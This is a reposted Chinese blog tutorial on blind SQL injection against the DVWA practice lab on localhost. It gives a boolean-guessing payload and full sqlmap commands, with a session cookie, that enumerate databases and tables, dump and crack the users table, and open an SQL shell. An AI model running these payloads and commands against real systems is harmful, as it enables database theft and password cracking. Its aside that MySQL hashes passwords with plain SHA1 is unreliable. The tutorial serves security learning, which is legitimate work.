转载自 Sally_Zhang
之前的sql注入页面(https://www.cnblogs.com/sallyzhang/p/11843291.html),返回了查询结果和错误信息。而下面的页面,返回信息只有存在和不存在两种情况,错误信息页面也被屏蔽了,这种情况下我们能得到的信息很少,且需要自己判断注入是否成功,所以叫盲注(名字很形象啊~)
盲注的注入方法,简单来说就一个字:猜 ...>_<.... 怎么猜呢?用猜数据库名称长度来举个栗子:
输入:1' and length(database()) = 1 #
输出:User ID is MISSING from the database
根据输出,数据库名长度不为1,然后再猜测2,3,4。。。直到猜对为止,然后再来猜数据库名称的第一个字母,第二个字母。。。直到猜到数据库名称
Hmmm...这样猜来猜去很费时间啊,这种事情是不是可以自动化一下,我都能想到,大神们早就想到了,就是这个工具:sqlmap
1. sqlmap介绍
这个工具是开源的,官网和github都可以下载。在使用之前,需要先安装python环境。以下是sqlmap的自我介绍
2. sqlmap启动测试
打开命令行工具,进入sqlmap解压后所在的文件夹,我的路径是E:...sqlmap,输入python sqlmap.py,看到如下信息说明sqlmap已经可以正常使用
3. 用sqlmap获取所有数据库名称
用F12看了下当前页面,这个页面是需要登录凭证的,所以使用sqlmap时也要带上登录凭证
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs
输出:sqlmap拿到了所有数据库名称
4. 用sqlmap获取当前数据库名称
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db
输出:当前数据库名称为dvwa
5. 用sqlmap获取当前数据库中的所有表名
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables
输出:表名为guestbook和users
6. 用sqlmap获取users表中的所有数据
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users --dump
输出:拿到表中所有数据, 还把密码给破解了。。。不要太贴心啊~
Mysql的默认密码加密方式其实就是SHA1,如果你密码不幸忘了,网上有在线解密网站 >_<
7. 运行sql语句
如果还想查看数据库中其他表的数据,sqlmap还支持运行自定义sql语句(只支持查询语句)
输入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=5dge4nuta0ongp0luebulu4jd6; security=low" --sql-shell
直接输入sql查询语句:
一点点感悟:
1. 敏感信息不要用太简单的加密算法,很容易被破解。。。
2. 用cookie存储登录凭证有风险,或者说会增加风险
如需转载,请注明出处,这是对他人劳动成果的尊重~